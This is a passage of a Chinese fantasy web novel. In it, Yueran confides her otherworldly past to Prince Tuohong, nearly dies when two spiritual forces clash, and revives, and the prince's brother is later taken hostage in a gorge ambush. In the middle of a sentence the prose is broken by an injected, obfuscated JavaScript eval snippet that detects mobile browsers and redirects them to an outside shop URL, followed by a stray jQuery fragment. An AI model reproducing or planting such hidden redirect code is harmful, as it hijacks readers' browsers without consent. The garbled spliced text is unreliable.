“那是三岁那年逃亡时留下的。”拓宏没有睁眼,声音很平,像是在讲一桩与己无关的旧事,“梧叔说,那一刀我母王原本想替我挡住的,她把我护在怀里,想用自己的脊背去挡。但是她的腿被斩断了,她没转过身来,刀锋便落到了我背上。” 他顿了顿,没有说母王后来怎样。跃然也没有问。她的手指停在疤尾末梢,没有移开。 “身上的伤不可怕,”她垂下眼,声音很轻,“总会结痂生疤。怕的是心里的伤,看不见,却时时刻刻痛彻全身。”她想说,你要养好心里的伤,话出口时,却又分明在说自己。 拓宏没有接。他依然闭着眼,可眼角有什么东西滑下来,融进池水的热气里。跃然看在眼里,没有戳破,也没有移开视线。她只是放下方巾,将他散下的发髻拆开,让他枕靠在池壁上,轻轻帮他按摩着头上的经络。她的手指穿过他还湿着的发丝,力道很轻,不急不缓,像在安抚一头刚从陷阱里拖出来的困兽。 “累了就睡吧。你受过大伤,也一定有大志。”她顿了顿,声音更低了一些,像是说给自己听的,“只是,别难为了自己,别伤害了亲情。” 拓宏倏然睁开了眼。 那双眼睛里,方才所有松散的、柔软的、近乎脆弱的情绪在一瞬间收拢了。他没有看她,只是望着兽首口中不断涌出的水流,唇又抿紧了。王兄这位新收的“义妹”,知道的事情,是不是太多了些。 她话中有话。她在替谁说话?拓石吗? “你这个义妹,为何我过去从未听王兄提起?”他的语调恢复了平日的冷定,冷定中却多了一层若有若无的亲近。 “几天前,他救了我。那时我刚到这具身体里,浑身是伤,差点死在山脚下。”跃然简单地答。 “就这么简单?” 她听出了他语气里的试探。她本可以解释更多,但她没有。她只是深吸了一口气,轻声说了两个字。 “为了,拓夏。” 拓宏默住了。 拓夏。这个名字像一把钥匙,轻轻一旋就打开了他所有关死的门。他想起那个最爱黏在自己身后的小姑娘,想起她穿着淡紫色的小裙子在宫里跑来跑去的样子,想起她被封了公主名号时拽着他的袖子说“二哥二哥,以后我就能帮你了”—— 后来她死在大漠。 他没能见她最后一面。 他把脸偏过去,闭目深深呼吸。再睁开眼时,眸中已如深潭无波。 “那么今后,我也叫你一声跃然妹妹了。”他说,语气重归轻缓。 跃然摇摇头说:“只叫我跃然吧。” 拓宏缓缓点了点头,又合上了眼睛。 跃然便继续帮他舒缓着神经,拓宏的呼吸也渐渐沉缓了起来。 温热的温泉水浸润着拓宏的头发,他的头发又黑又密,比她在现代时候发质还要好,她就这样沉默地任思绪飘远了。 就在她以为拓宏已经睡着了的时候,听见他轻轻说了一句话。很轻,轻得像水汽里将散未散的一缕风—— “你不欠我什么。不必为报恩留下来。但如若你留在,我必待你如拓夏。” 跃然的手指僵住了,她不知道该怎么接,却听见拓宏又开口了:“你的异世,可与蔚魄相同?” “不一样。”跃然想了想,接着说:“但是,也可能一样。”跃然说着,自嘲般轻笑了一下:“吃穿用度风俗礼仪,全不一样。但是爱恨情仇,亲情友情,又好像一样。就像不同瓶子装了一样的酒,瓶子不同而已。” “那么,你会喜欢蔚魄这瓶酒吗?”拓宏转头看向跃然。 “我——不喜欢喝酒。”跃然眼里满是苍凉,拓宏抿紧唇,不再说话了。 “梧叔。”拓宏突然唤了一声,见梧冲庭推门进来,才又道:“让安先生为跃然请个脉吧。” 请脉。梧冲庭明白这话的分量。他皱了皱眉,但还是照做了。 跃然从温泉池出去的时候,长须老者梧安已经在门外候着了。他目光落在跃然脸上,端详少许,没有寒暄,径直问:“姑娘周身气象非凡,可否相告来历?” 跃然心里叹了口气。今晚是逃不过这一问了。 “如先生所见。”她淡淡地答,不想多说。 14. 双元相冲 一个人灵魂中可能有炽热的炉火,却无人来坐下取暖。路人只看见烟囱里飘出一缕烟,便继续赶路。 ——欧文·斯通《渴望生活》 梧安被这软钉子碰了一下,倒也不恼,只是笑了笑:“可否请脉?” 跃然把右手递了过去。梧安搭上三指,凝神许久,换了左手,又凝神许久。他额上渐渐渗出微汗,眉头越锁越紧,最后松开手指,退了一步,用一种近乎郑重的目光看着她。 “我与常人,有什么不同?”跃然先开了口。这正是她目前最想知道的。 梧安正要答话,梧冲庭推门出来,朝他点了点头。梧安便向跃然深施一礼:“姑娘稍候,容梧某先去看看少主。”然后匆匆进去了。 跃然一直等到一众人服侍着拓宏重又在卧房躺下,才又安静地立在拓宏床榻旁。 梧安重新为拓宏诊了脉,片刻后,紧锁的眉头终于松开了,放心地点了点头。 “少主内息平稳,静养几日便可无恙。”他顿了顿,转向跃然,目光重新变得凝重,“倒是这位姑娘……” “她如何?”梧冲庭还没来得及开口,榻上的拓宏已经睁开了眼。他的声音有些疲惫,语气却是命令式的。 “主上。” “少主。” “说。” 拓宏的目光掠过梧安和梧冲庭,最后落在门口站着的跃然身上。他示意她到身前来。跃然往前挪了几步,却不肯再靠近。 “请问姑娘,近日可曾发生过异像?”梧安谨慎地问。 跃然沉默了。该不该把真相说出来?穿越这种离奇经历,若是被人知道了,会不会被当作妖孽? 拓宏看出了她的犹豫。 “跃然,”他没有叫她“姑娘”,也没有加什么称谓,只是平平地喊了她的名字,“但讲无妨。安先生不会害你。” 他的眼神坦荡,没有试探,没有猜疑,只是等着。 “你们都坐下说。”他又补了一句,看见她有些虚弱的身影,声音轻了些。 跃然吸了口气。 “你们……听说过借尸还魂?” 梧安与梧冲庭交换了一个眼色。 “古有此说。”梧安点头。 “我在一个与这里完全不同的世界,生活了二十八年。当我……寻死之后,再睁开眼,已经在这个身体里了。是拓石和拓云救了我。”她尽量把话说得简短平淡,像在陈述一件与己无关的事。可说到“寻死”两个字的时候,声音还是不由自主地顿了一下。 房间里安静了一瞬。 梧冲庭的眉头已经拧紧了。拓宏却没有立刻说话。他原本搭在锦被上的手指慢慢蜷了起来,蜷得很紧,指节泛白,像是在用力握住什么东西。 他张了张嘴,一个字都没有发出。不是无话可说,是太多话同时涌上来,堵在了喉咙口:借尸还魂、异世、寻死……这些字眼从她嘴里说出来,太平静了,平静得像在讲别人的事。可她的眼睛不是那样说的——那双紫瞳在烛火下微微发颤,盛的不是恐惧,是比恐惧更深的、被反复撕扯过后留下的倦意。 他忽然意识到,方才她在榻边说的那句“快乐点不好吗”,不是居高临下的怜悯。是一个经历过更深的痛苦的人,在用自己的方式,轻轻拍了拍他的肩膀。 “……嗯。”他终于发出了一个音节。很短,很轻,像是只是确认自己听见了。可他蜷起的手指没有松开。 梧安轻咳一声,打破了沉默:“所以,姑娘脉相之异,便说得通了。”他起身踱了两步,拈须沉吟,转身看着跃然,目光里有审视,却更多的是叹服,“你这具身体,非寻常凡胎。其根骨之清奇、经脉之通畅,恐怕只有仙家修炼数千年的法身方可比拟。而你的魂魄又是从异世复归的——”他斟酌了一下措辞,“若梧某所料不差,你如今已是仙凡合体。” 跃然愣住了。 “换言之,”梧安温和地看着她,“今后再大的伤创,只要姑娘有强烈的求生意志,身体均可慢慢自愈。这并非妖术,而是你魂魄与这具仙骨融合之后,自然而然生出的能力。” 跃然垂下眼,看着自己摊开的双手。难怪掌心的伤口半个时辰便愈合了,难怪她在浊泉泥沼里窒息那么久也没有死。她以为自己是“借尸还魂”的怪物,到头来,这“怪物”才是她真正的身体。 那她前世那二十八年算什么?一场梦?一次放逐?还是一段老天爷安排好了、无论如何都躲不过去的历练? 她忽然觉得很冷。从骨头缝里往外渗的冷。 “唤青儿服侍跃然姑娘沐浴更衣。”拓宏的声音把她从怔忡中拽出来。他的语气变得疏淡了,像是在下令,又像是在关上一扇刚刚开了条缝的门。 “姑娘,请。”梧冲庭低头将她引出门外。 跃然走进对面那间为她备好的卧房。房间很宽敞,雕花木窗半开着,夜风灌进来,吹得烛火摇摇晃晃。她站在门口,不知道该把自己放在哪里。 然后她慢慢走向浴间。她的屋子随比拓宏的小,但里间也有一小池温泉水可供沐浴。 没有解衣,她便一步一步走进了水池。温暖的池水漫过她的脚踝、膝盖、腰身,最后没过胸口。她打了一个寒颤,然后蜷缩下去,让水淹到下巴。池水从兽首口中汩汩涌出,热气氤氲,把她整个裹住了。可她还是觉得冷。 原来她不是从现代穿越到了古代。她是从这里被送去了现代,又回来了。她的生母是仙,生父是凡人,她用二十八年做了一场梦,醒来发现自己不过是从起点又走回了起点。她以为是父亲出轨逼死了母亲,到头来生母才是那个先放手的人;她以为是沈煦背叛了她,可那个在浊泉把她从死亡里拽出来的人,用的是她记得的力道。 她到底该怨谁? 怨生母把她送走?可她也护不住她。怨魅绝殇?他把命格都还了。怨自己?她是真的累了。更可笑的是,以后,她死都死不成了,因为她能自愈! 跃然把脸埋进膝盖里,泪水顺着脸颊流下来,混进池水里,了无痕迹。她拥有了常人无比艳羡的长生之体,可她的心,像一捧被雨水浇透的死灰,怎么也复燃不起来。 胸口的异样来得毫无征兆。 起初只是一阵闷胀,像有什么东西在胸腔里缓缓膨胀。她没有在意——今晚经历了太多,身体疲惫是正常的。可那股闷胀感并未消退,反而越来越强烈,像是有什么被压抑了太久的东西正在苏醒。 然后,冷和热同时来了。 一股暖流从心口升起,沿着经脉向四肢蔓延,所过之处像温水漫过冰面,带着舒缓的、令人安心的温度。那是她在野苑吸收紫晶玄经时的感觉——那种被光芒包裹的暖意。可紧接着,另一股寒流从丹田深处翻涌而上,冰凉刺骨,像融化的蓝晶碎片在血液里流淌,每到一处便激起针扎般的刺痛。 她猛地睁开眼。 眼前的景象却变了。 池水不再是水,而是翻滚的、粘稠的黑色泥浆——那是浊泉,是那个几乎将她吞没的沼泽。她看见水面上浮着一面镜子,镜中映出的不是自己的脸,而是沈煦。他站在岸边,手里捏着那支刺眼的口红,神色淡漠,像在看一个与自己无关的陌生人。浊泉里黑气似乎升腾起一张恐怖的面孔,似人非人,正狞笑着裹向她。 “醒醒。” 她听见有人在叫。不是沈煦的声音,是从池水更深处传来的——像是妈妈,又像是她自己。 “然然,醒醒。” 然后冷和热同时炸开了。她低头看向自己的手,指尖泛着一层极淡的光——不是单纯的紫色。一半暖紫,一半冷蓝,像两条互不相让的游丝在她皮肤下追逐、撕扯。她试图握拳,手指却不受控制地颤抖起来,那疼痛,像有人把她的经脉一根一根从肉里抽出来。 冷和热在经脉交汇处相遇,炸开一阵锐痛。她觉得身体像被撕成了两半——一会儿冷得发麻,一会儿热得发烫。心跳骤然加速,呼吸变得短促而混乱,池水的热气裹着她,她却觉得自己正在被两种力量从内里撕开。 她张了张嘴想喊人,嗓子却像是被堵住了。眼前一阵阵发黑,池边烛火的暖黄在视野中旋转、扭曲。 然后,一切都安静了。 她的身体缓缓滑入水中,像一片被水浸透的落叶,无声无息地沉了下去。 廊道对面,梧冲庭正从拓宏房中退出,反手合上房门。就在转身的一瞬,他余光瞥见跃然房间的门缝里透出一线光——不是烛火的暖黄,而是一道极短促的、紫蓝交织的异芒,像闪电被压缩在了方寸之间,一闪而逝。他脚步一顿,皱眉望去。窗纸上已只剩烛火摇曳的寻常光影,方才那一瞬的异色像是幻觉。 他没有当成幻觉。 但他也没有立刻闯进去——那是姑娘的浴间。 直到青儿端着参汤去敲门,敲了数声无人应答,推门进去,才发出一声惊叫。 “梧统领,不好了!她、她……” 青儿的声音在发抖。梧冲庭心头一沉,大步跨进跃然的房间,直奔浴间。一进门,整个人便钉在了原地。 浴间地上,跃然仰面躺着。青儿已经把她从水池里拖了上来。她全身湿透,衣袍紧紧贴在瘦小的身体上,脸色苍白如纸,嘴唇没有一丝血色。一头乌黑的长发散在水渍里,像被雨打落的花枝。 “我进来时她就已经浮在水里了,叫她也不应……”青儿的声音带着哭腔。 梧冲庭蹲下身,探了探她的鼻息——没有。脉——也没有。 他伸手按压她的胸口,一下,两下,三下,掌心传来骨肉的触感,可躺着的女孩子毫无反应。他在王宫中见过无数生死,此刻却忽然有些慌乱。这张脸太安静了,安静得不像活人,也不像死人,倒像一尊被遗落在水边的瓷偶,只是被人碰碎了,便了无生气了。 正当他准备起身去唤梧安时—— 跃然的眼皮微微动了一下。 然后,她咳出一口水来。 梧冲庭倒退一步,眼睁睁看着她缓缓睁开眼。那双紫瞳在水光中慢慢亮起来,起初是涣散的,然后一点点聚焦,最后落在天花板上,眨了眨,像是刚从一场极深极长的梦里醒来。细看之下,那紫色似乎比之前更澄澈了几分,先前隐约流转的蓝光已淡得几乎看不见了。 “梧——叔?”她嗓子沙哑,声音弱得像一缕烟。 梧冲庭愣在原地。他守过无数战场,见过无数死人,却从没见过一个人在断气之后还能睁眼。 梧冲庭垂下目光,将自己身上的披风解下来盖在她身上,然后退后一步,单膝跪地,低声道:“姑娘,得罪了。属下去请安先生。”他起身走到门口,又回头看了一眼。跃然蜷在地上,裹着他的披风,小小的,湿漉漉的,还在微微发抖。 对面房门虚掩着。拓宏不知何时已经从榻上撑起了身,靠在门框边,脸色青白,显然是硬撑着下地的。他那只垂在身侧的手,指节捏得发白,手背上青筋暴起,像是在极力压制着什么——是冲过去的冲动,还是某种更深的、连他自己都说不清的恐惧,没有人知道。 那双寒潭般的眼睛越过廊道,直直落在对面浴间敞开的门扇上。他看不到里面,但他听到了方才那声惊叫,听到了慌乱的脚步声,听到了梧冲庭按压跃然胸口时沉闷的闷响。 然后,他听到了那声咳嗽。 梧冲庭与他对视一眼,微微摇头,示意没事了。 拓宏没有说话,只是将身体慢慢靠回门框上。他闭眼的那一瞬,胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632078|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口起伏的幅度终于泄了底——那不是疲累,那是一口一直屏着的气,骤然松了。然后他转身,一步一步挪回榻边,坐下去,再没发出一声。 梧安提着药箱匆匆赶来,一进门便看见蜷在地上的跃然。他快步上前,重新搭上她的脉门,凝神许久。这一次,他紧锁的眉头渐渐舒展开来,继而微微扬起——那是医者见到疑难杂症被破解时,才会露出的神情。 “如何?”梧冲庭低声问。 “果然。”梧安放下跃然的手腕,轻叹一声,“她体内有两道灵力。一道暖,是紫晶玄经所化;一道寒,是那清泉神主所赠的蓝晶精元。两力骤然相遇,自然相冲。方才气息停滞,便是两道灵力在经脉中激烈冲撞,一时壅塞所致。如若习武或修炼之人,自然懂得如何调和两种力量,但这姑娘,毫无根基,怕是要平白吃很多苦。” 他顿了顿,语气中多了几分思索:“不过,经此一冲,两道灵力反而开始相互渗透了。您细看她的瞳色——蓝紫调和许多,这是灵力正在融合之兆。往后或许还会有类似的冲撞,但一次会比一次轻。待两力完全交融之日,便是她真正驾驭这具仙骨之时。” 梧冲庭沉默地听着,目光落在跃然微微起伏的胸口上,没有接话。 跃然裹着梧冲庭的披风,靠在池边的石壁上,意识尚未完全回笼。她隐约听见梧安在说什么“相冲”“融合”,却听不太真切。身体里那股撕裂的痛已经退去了,取而代之的是一种从未有过的通透感,像是堵塞了许久的河道终于被洪水冲开,虽然满目狼藉,却有了流动的可能。 她慢慢抬起手,在烛光下摊开掌心。指尖还在微微发颤,但那股冷热交战的躁动已经平息了。掌心里,那道被紫晶玄石刺破的伤口早已愈合,只留下一道极淡的、近乎透明的痕迹,在烛火下泛着若有若无的柔光。 梧安向梧冲庭递了一个眼色,两人退出浴间,留青儿在里面照料。梧安回到拓宏房中,将诊断结果一一禀明。 拓宏靠坐在榻上,听完之后沉默了许久。烛火把他的侧脸切成明暗两半,看不清表情。 “先看着。”他最终只说了三个字。 顿了顿,又低声补了一句,像是说给自己听的:“她若真是应劫之人,便是天意。” 梧安与梧冲庭对视一眼,没有再言。 廊外,夜风停了。 檐角的铁马终于安静下来。月光从云隙间漏出来,淡淡地铺在廊道上,像一层薄薄的霜。 与此同时,在驿站百里之外的荒山古刹中,一名身着黑袍、面容枯槁的老者猛地睁开了眼。 他面前的水晶球“啪”地一声裂开了一道缝隙,一缕极淡的紫蓝光晕从缝隙中溢出,转瞬消散在黑暗中。 “找到了……”老者的声音沙哑如锈铁摩擦,牙龈发黑,唇角却缓缓咧开,露出一口残缺的黄牙,“仙凡合体,就在熙远王身边。” 他颤巍巍地伸出手,将裂开的水晶球捧到唇边,伸出干枯的舌头,舔了舔那道裂缝。动作虔诚,眼神贪婪。 月光照不进这间古刹。只有那只水晶球,在黑暗里闪着幽幽的、碎裂的光。 就在这时,一道身影破窗而入,长剑直取癫叟咽喉。 剑锋在喉前三寸停住。持剑的人没有刺下去——不是不能,是他看见了那颗裂开的水晶球。紫蓝光晕在裂缝中明灭,映出他棱角分明的脸。 “熙审年!”癫叟咧嘴笑了,露出满口残缺的黄牙,“你果然追来了。” 沈煦没有废话,剑锋向前递了半寸。 “莫要再动!”他的声音很低,“你可以试试,看是你的蛊快,还是我的剑快。” “老夫的蛊自然不及你的剑。”癫叟咯咯地笑起来,枯瘦的手指点了点那颗水晶球,“但你若杀了老夫,那个丫头也活不成。她体内紫蓝二力正在相冲。每冲撞一次,她的魂魄便裂开一分。短则数月,长则一年——必形神俱灭。这世上,只有老夫知道如何破解。至于她母亲的去处,我是真的不知……” “只有你!上一世,在医院外,你也是这么说的。”沈煦的剑没有退,声音冷得像从齿缝里挤出来的,“你说只有你能救我妻子,却是想骗走我的乙木元神!” 癫叟咯咯地笑起来,枯瘦的手指点了点那颗水晶球,“过往之事,何必再提。” 癫叟从怀中摸出一只乌黑的酒囊,抛到沈煦脚边,“你若想让她活着,便喝了它。日后听老夫驱使,绝无二话。待事成之日,自会替你解开——连同那丫头的命,一并还你。你若不信,只管刺下来。” 沈煦低头看着那只酒囊。脏污的皮面上沾着不知名的暗色污渍,囊口散发出一股腥甜的气息。 他喉结滚动,瞳孔一缩,慢慢弯腰捡起,拔开塞子。 没有犹豫。 烈酒入喉,没有预想中的辛辣,反而是一股腐尸般的甜腻。下一瞬,剧痛炸开——无数细小的、活的、带着倒刺的冰虫钻入经脉,沿着血管向心脏攀爬。沈煦单膝跪地,剑撑在身前,指节捏得发白。他看见自己的指甲在那一瞬间变得乌青,像是被墨汁浸透的竹片。 “好。好。”癫叟拊掌而笑,拾起地上两颗断裂的黑牙,“千年神木的乙木元神老夫取不走,可你这个人,终究还是落在老夫手里了。熙审年,替老夫办第一件事——先把你师父那个老不死的杀了吧!” 沈煦抬起头。那双血色的眼眸在月光下泛着冷光,像淬了毒的刀。他没有说话,只是慢慢起身,收剑入鞘,转身走向破窗外将明未明的天色,每走一步,唇边的紫黑便深上一分。 癫叟的笑声在空荡荡的古刹中回荡,惊起檐下一群沉睡的乌鸦,扑棱棱飞入夜色。而那颗裂开的水晶球,在黑暗中闪了最后一下,便彻底熄灭了。 15. 峡谷之战 有何胜利可言?挺住意味着一切。 ——里尔克《祭沃尔夫·卡尔克罗伊德伯爵》 晨曦照进驿站院落时,跃然刚被鸟鸣声叫醒。 她躺在床上,望着头顶素白的帐幔出了一会儿神。昨夜灵力相冲的余波仍在体内隐隐游走,四肢虚软得像被抽去了骨头,但比起晕厥时那种经脉寸断的剧痛,已经好了太多。 她试着握了握拳,指尖还能动。死不了。她对着帐幔苦笑了一下。 “姑娘起了?睡得可好?”青儿端着铜盆笑盈盈地走进来,拧了帕子递过来。跃然道了声谢,自己接过帕子擦了脸。 梳洗毕,青儿转身从案几上捧过一套叠得整整齐齐的衣裙,在她面前展开。水绿的绮罗长裙,裙身以银丝刺绣出波光粼粼的纹样,裙摆上几尾红鲤腾跃欲出,外罩一件鹅黄轻纱。衣料触手生温,是上好的暖玉锦缎。 “姑娘昨夜落水,衣裳都湿透了,穿不得了。”青儿一边帮她系腰带一边解释,“这套是主上今早特意差人去前头镇子上买来的。说也巧,那家官家小姐新裁了几套春衣还没上身,颜色式样正合姑娘的身量。” 跃然低头看着裙摆上那几尾栩栩如生的红鲤,心里微微一动。绯红的鳞片,淡金的尾鳍,像一簇火焰凝固在碧波里。 “这几尾红鲤绣得真好,好得像是活过一样。”跃然不禁感慨。 “是呢!姑娘穿着更是让衣服增色不少!”青儿笑着接。 那个叫拓宏的男孩子,连中衣带子都解不开,却记得她没有衣服换。跃然心头一软,轻声说:“替我谢谢你家王爷。” 青儿拿起梳篦要为她绾发时,跃然轻轻按住了她的手:“头发就这样吧,不必麻烦了。”若梳成小女孩儿的双鬟,她接受不了。若像前世那样绾成妇人的发髻——她苦笑了一下。斯人不复。索性便让长发垂着,像件外衫,给漂泊的心取个暖。 青儿将她拉到铜镜前。镜中人儿水绿长裙翩然拂地,鹅黄轻纱随步起落飘浮,紫眸在晨光中澄澈如水。 跃然看着镜中的自己,这张十岁的脸。 死不了,就得活着。活着,就得有个活着的样。 她弯了弯唇角,笑意很淡。“这衣裳很好看。走吧。” 院外传来一阵急促的脚步声。 “跃然!跃然!”拓云的声音隔着老远就传了过来。他小跑着冲进院子,身后跟着缓步而来的拓石。拓云一进门便上下打量跃然,小脸上全是紧张:“听说你昨晚……吓死我了!现在,真的没事了吗?有没有哪里还疼?” “真的没事了。”跃然伸手拍了拍他的头。 拓云被她拍得愣了一下,嘟囔了一句“你才多大,干嘛拍我头”,却没有躲开。 “昨夜听闻姑娘身体不适,本想过来探视,又恐夜深惊扰。”拓石站在门口,没有进来。他穿着一件皓月色的长袍,面色温润如常,但眼角有一丝极淡的倦意,“安先生已与我们说了姑娘的脉象。姑娘体内两道灵力尚未调和,往后若再有不舒服,务必告知我们,不要一人扛着。” 跃然点了点头。 “跃然,宫里有很多教人修炼的书,等回去,我都找来给你!”拓云抢过话头,皱着眉一脸认真,“以后你要是不舒服,一定要告诉我。我以后会快点变厉害的。到时候我来保护你。” 跃然笑了笑,轻轻点了点头。 梧安从廊下走过来,眉眼间颇有几分闲适。他从袖中取出一只极小的白瓷瓶递到跃然手中。 “姑娘,这是老夫连夜配制的宁神丸。姑娘体内二力时有冲撞,此丸虽不能根治,但若感气息不稳时服下一粒,可助经脉暂安。” 他顿了顿,温声道,“姑娘,无论仙凡,终是度日罢了。万事皆有因果渊源,最是要想开些,莫要难为自己才好。” “谢谢先生箴言。跃然明白。”跃然接过瓷瓶,深深行了一礼。 “青儿,快去取些早点。跃然昨夜受惊,肚子一定饿了。我和王兄就在这儿陪她用膳。” 青儿欢喜地应了一声,小跑着去了。 青儿跑出院门时,正撞见拓宏。他今日换了件月白中衣,外面随意披着玄色外袍,双臂仍垂在身侧,脸色比昨日好了些,但眉宇间那股清冷依旧。他的目光越过众人,落在院内跃然的身上。 水绿长裙,鹅黄轻纱,裙摆上几尾红鲤在晨风里微微翻卷,像要从碧波中跃出来。他的目光在那几尾红鲤上停了一瞬——很短的一瞬,然后移开了。 跃然对上他的视线:“能自己走路了,你好些了?” “托你的福。”拓宏嘴角微微扬起,“不过手臂还是不顶用。所以——”他理直气壮地顿了顿,“我在等你服侍我进餐。” 跃然轻笑了一下。这人昨夜在温泉里对她说“不必为报恩留下来”,今早又赖死地来讨债。 她没有拒绝,走到院中石桌旁坐下。 服侍的婢女们已经自拓宏身后鱼贯而入,好几样清粥小菜已经摆在了石桌上。 拓宏挨着跃然坐下,没有让其他人。他双手垂在身侧,完全没有要拿筷箸的意思。跃然无奈笑笑,端起粥碗,舀了一勺清粥,吹了吹,送到他唇边。 “张嘴。” 拓宏乖乖张嘴,咽下那口粥。他抬眼看着她,乌黑的眸子在晨光里清亮如泉,里面有很淡的笑意,也有一种她读不太懂的深沉注视。 “我也要跃然喂!”拓云跑出来坐在跃然另一侧,高声嚷起来。 “你自己有手。”拓宏头也不抬。 “你不也有手!” “我受伤了。” “你——” “好了。”拓石走过来,在跃然对面坐下,声音温和却不容置疑,“用膳吧。” 拓宏的目光在拓石脸上停了一瞬。然后他慢慢伸出手,去拿桌上的筷箸。手指攥住箸身时微微发颤,攥得很用力。 他将筷箸举到碗边,筷尖探向一片青菜,夹住了,却在提起时滑开了。他没有出声,又夹了一次。这一次夹稳了,慢慢送入口中。整个动作很慢,慢到每一筷都像是在完成一件需要全神贯注的事,但他的表情始终是平的——没有吃力,没有烦躁,没有向任何人求助的意思。就好像方才那个赖着让跃然喂饭的人不是他。 跃然看在眼里,没有拆穿。她只是默默夹了几样菜放进他面前的菜碟中,又拿了一个调羹换给拓宏,动作很轻,像是怕惊扰什么。拓云张了张嘴,被拓石一个眼神制止了。 一时无话。只有筷箸轻碰碗碟的声响,和院外传来的马嘶与兵甲碰撞声——那是梧冲庭正在整肃车队,准备出发。 整顿饭拓宏再也没有让跃然喂过一口。他一口一口自己吃完了那碗粥,吃得额角沁出一层细密的汗,但背始终挺得笔直。 早膳将毕,梧冲庭步入院内,垂首道:“主上,车马已备好。” 拓宏微微点头,放下调羹。他正要起身,拓石忽然按住了他的肩膀。力道不重,却很稳。 “这一路,我坐头车。”拓石的语气温和,却没有任何商量的余地,“你身上有伤,跃然姑娘昨夜又刚发过病,你们坐最后一辆,稳妥些。” 拓宏抬起头,定睛看着他。 拓石坦然却坚定地看着拓宏,没有了过去的隐忍和猜疑,取而代之的是,兄长的宽和。 良久,拓宏收回目光,忽然笑了。那笑容很淡,没有往日的冷嘲,也没有惯常的戏谑。那是一种很轻的、近乎坦然的交付。 “好。”他说,“那我陪着跃然妹妹,坐最后一辆。” 拓石点了点头,没有再多说一个字,转身大步走向院门。他的皓月色衣袍在晨光中翻卷了一下,然后被院墙的阴影吞没。 车队上路。按拓石的安排,拓宏与跃然坐最后一辆马车,拓云由宫里跟来的老将萧潜陪着坐在中间。拓云自然不乐意——他想和跃然同车,但拓宏一句“别吵”便把他堵了回去,倒是拓石临走前拍了拍他的肩,低声说了句“听话”,他才不情不愿地上了车。 马车辚辚前行,很快驶入了一段峡谷。两侧山壁陡峭如削,抬头只剩一线天光。山风从谷口灌进来,带着沙砾的腥味,车轮不时碾过碎石,发出刺耳的嘎吱声。 拓宏坐在跃然对面,闭目不语,脊背挺得笔直。但跃然注意到他垂在袖口外的手指偶尔会轻微地蜷一下,像是在反复确认它们是否还在听自己使唤。 “你的手臂还要多久才能恢复?” “安先生说三五日。”拓宏没有睁眼,“怎么,嫌我麻烦?” “我只是在想,你昨晚在温泉边说的那句话——‘不必为报恩留下来’。”跃然的声音很平静,“我留下来,不全是为了报恩。我需要去王宫查典籍,弄清楚自己的紫眸和体内那两道灵力到底是什么。所以你不必觉得我是为了你才留下的。” 拓宏睁开眼看了她片刻,嘴角微微扬起:“原来如此。那我倒可以安心继续麻烦你了。” 跃然轻轻笑了一下。这人大概永远不会好好说“谢谢”两个字。 马车骤然停了下来。不是正常的减速——是急停。马嘶声在前方尖锐地炸开,随即被兵刃出鞘的金属锐响吞没。 “保护主上!列阵!”梧冲庭的声音穿透峡谷窄道,带着多年战场历练出的沉稳与穿透力。 拓宏猛地睁开眼。他的手本能地按向腰间——手指只微微蜷了一下便松开了。他低头看了看自己垂在身侧的双手,脸上没有任何表情。 车帘被人从外面猛地掀开。梧舟满脸血渍,声音沙哑而急切:“主上!熙坤王殿下在前方峡谷出口遭遇伏击。对方是瓦鲁国的人,为首的是——” “元炀崎。”拓宏替他说完了这个名字。 他的声音很冷。然后他站起身,动作没有丝毫犹豫。从马车中跃下时,脚尖在地上轻轻绊了一下——只一瞬便稳住了。跃然看在眼里,没有出声。 她掀开车帘一角。峡谷出口处,拓石被几个沙色劲装的瓦鲁武士按在地上。他的长剑脱手落在几步之外,皓月色的衣袍上全是尘土和血渍。刀架在他颈侧,锋刃在烈日下泛着寒光。他的胸口剧烈起伏,唇角溢出一缕血丝——但他跪着,脊梁还是直的。 跃然着急地想下去,却被青儿拉住:“姑娘,我们去了也帮不上忙,还是在这里好些。”跃然只好作罢,继续看着车外的阵仗。 拓云从中间那辆马车中跌撞而出。“大哥!”他哭喊着往前冲,被萧潜死死扣在怀里。 “放开我!让我去——”拓云的声音已经沙哑,拼尽全力在萧潜的铁臂中挣扎,指甲嵌进对方的皮肉,划出一道道血痕。 萧潜纹丝不动,只是将他的脸按在自己肩头,不让他看。他不能让三王子看到——拓石颈侧的刀刃在烈日下反射的寒光,和地上那一滩正慢慢扩大的暗红。 一道雪白的身影从山壁后缓步踱出。白袍、白冠、白靴、白剑——他周身白得刺眼,在正午的烈日下像一道凛冽的寒光。只有腰间一枚赤红色晶石幽幽闪烁,像是未经驯服的野火,被他刻意藏在了最显眼也最不协调的位置。他瞥了一眼地上的拓石,又看了看正在列阵的梧营铁卫,纸扇在掌心轻敲了两下,像是在欣赏一出难得的好戏。 "宇文拓宏!"他语气亲昵得像在招呼故交,“贤弟——你王兄在你前头探路,跪在你前头挨刀,你这当弟弟的,倒稳得很呐。” 拓宏没有理会他的嘲讽。他的目光越过元炀崎,落在拓石身上。拓石也正看着他。两个人在刀光剑影中对视,隔着数十步的距离,隔着三年的猜疑与沉默。 “好狗不挡道!”拓宏冷冷道。 元炀崎伸出无名指挠了挠鼻子,“哎——你瞪我干嘛?你王兄跪在这儿,刀架在脖子上,你不去心疼他,倒来凶我?” “元炀崎,少废话,说你的条件!”拓宏看着拓石身上迅速扩散的殷红,皱了皱眉。 “这就对了嘛!我就不懂——你明明比他能打,比他聪明,凭什么什么事都让他挡前面?他爱当哥哥,还是你就那么爱当弟弟?”元炀崎手扶剑柄,现出魅笑。 拓宏没有接话,不耐地瞪向元炀崎。 “对了——听说你们身边多了个紫眸小姑娘?我还没见过紫眼睛的人呢,让她过来给我看看,看完就还你。”元炀崎笑眯着眼睛,说起话来还摇了摇脑袋,像在讨要一个小玩具。 拓宏瞳孔微微一缩,“王兄,”他忽然开口,声音不高,却让整个峡谷都安静了一瞬,“你说,我该选谁?” 